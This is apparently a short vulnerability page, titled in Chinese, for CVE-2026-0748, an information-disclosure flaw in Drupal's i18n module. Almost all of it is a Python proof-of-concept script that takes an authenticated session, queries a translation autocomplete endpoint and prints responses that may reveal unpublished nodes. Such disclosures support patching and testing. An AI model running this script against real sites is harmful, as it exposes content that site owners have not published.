CVE-2026-0748 Drupal i18n模块信息泄露漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-0748 # This script demonstrates information disclosure via the autocomplete endpoint. import requests target_url = "http://drupal-site.example.com" # The specific endpoint might vary based on i18n configuration endpoint = f"{target_url}/i18n/node/autocomplete/translations" # Attacker requires 'Translate content' and 'Administer content translations' permissions session = requests.Session() # Login logic here (cookie or session id) # session.post(f"{target_url}/user/login", data={...}) # Trigger autocomplete to search for unpublished nodes params = { "string": "test" } response = session.get(endpoint, params=params) if response.status_code == 200: print("[+] Potential Leak Detected:") print(response.text) else: print("[-] Request Failed")